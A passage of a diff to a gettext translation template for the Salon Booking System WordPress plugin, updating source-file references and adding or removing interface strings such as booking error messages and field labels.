System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:418\n+msgid \"Transaction fee\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:280, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:280, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:280, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:280, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:280, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:280\n-msgid \"These selected services have exclusive service. Please remove it before add.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:657\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:81\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:657\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:81\n+msgid \"Transaction ID\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:108, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:108, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:108, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:108, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:108, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:108\n-msgid \"One or more services with the name\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:342\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:342\n+msgid \"Trash\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:108, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:108, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:108, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:108, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:108, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:108\n-msgid \"Undefined service\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_documentation.php:40\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_documentation.php:40\n+msgid \"Troubleshoot\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:109, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:109, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:109, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:109, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:109, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:109\n-msgid \"Service required\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:67\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:358\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:67\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:358\n+msgid \"Trunk trailing 0 prefix\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:128, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:128, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:128, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:128, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:128, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:128\n-msgid \"Attendant required\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:28\n+msgid \"try again\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:31\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:31\n+msgid \"Tuesday\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:75\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:75\n+msgid \"Two-way sync with Google Calendar.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:23\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:116\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:23\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:116\n+msgid \"Type\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:10\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:10\n+msgid \"Type a message for your customer\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:73\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:73\n+msgid \"Type assistant name\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:75\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:75\n+msgid \"Type discount name\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:118\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:118\n+msgid \"Type for the resource.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:33\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:33\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:32\n+msgid \"Type of services (all, primary or secondary).\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:74\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:74\n+msgid \"Type resource name\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:72\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:72\n+msgid \"Type service name\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:34\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:34\n+msgid \"Type the amount of this discount\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FBuilder.php:464\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FBuilder.php:464\n+msgid \"\"\n+\"Unable to create booking. Please try again or contact the website \"\n+\"administrator.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSummaryStep.php:462\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSummaryStep.php:447\n+msgid \"Unable to create booking. Please try again or contact us.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FBuilder.php:449\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FBuilder.php:449\n+msgid \"Unable to create booking: \"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FBuilder.php:839\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking\u002FBuilder.php:839\n+#, php-format\n+msgid \"\"\n+\"Unable to create booking: Required customer information is missing (%s). \"\n+\"Please ensure all required fields are filled.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FApplyTipsAmount.php:52\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FApplyTipsAmount.php:52\n+msgid \"Unable to find booking. Please refresh the page and try again.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:79\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:79\n+msgid \"Unable to process discount. Please try again.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:128, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:128, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:128, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:128, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:128, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:128\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:128\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:128\n msgid \"Undefined attendant\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:140, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:140, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:140, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:140, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:140, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:140\n-msgid \"Service requires attendant but no attendants provided\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:108\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:108\n+msgid \"Undefined service\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:153, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:153, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:153, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:153, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:153, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:153\n-msgid \"Invalid booking status\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:167\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:167\n+msgid \"Unique Customers\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:163, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:163, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:163, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:163, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:163, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:163\n-msgid \"Invalid date\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:122\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:156\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:122\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:156\n+msgid \"Unique identifier for the photo resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FOnNoShow.php:22, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FOnNoShow.php:22, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FOnNoShow.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FOnNoShow.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FOnNoShow.php:22\n-msgid \"Invalid security token\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1660\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:852\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1660\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:852\n+msgid \"Unique identifier for the photo.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FOnNoShow.php:28, src\u002FSLN\u002FAction\u002FAjax\u002FSendFeedback.php:19, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FOnNoShow.php:28, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendFeedback.php:19, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FOnNoShow.php:28, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendFeedback.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendFeedback.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FOnNoShow.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendFeedback.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FOnNoShow.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSendFeedback.php:19\n-msgid \"Insufficient permissions\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:72\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: 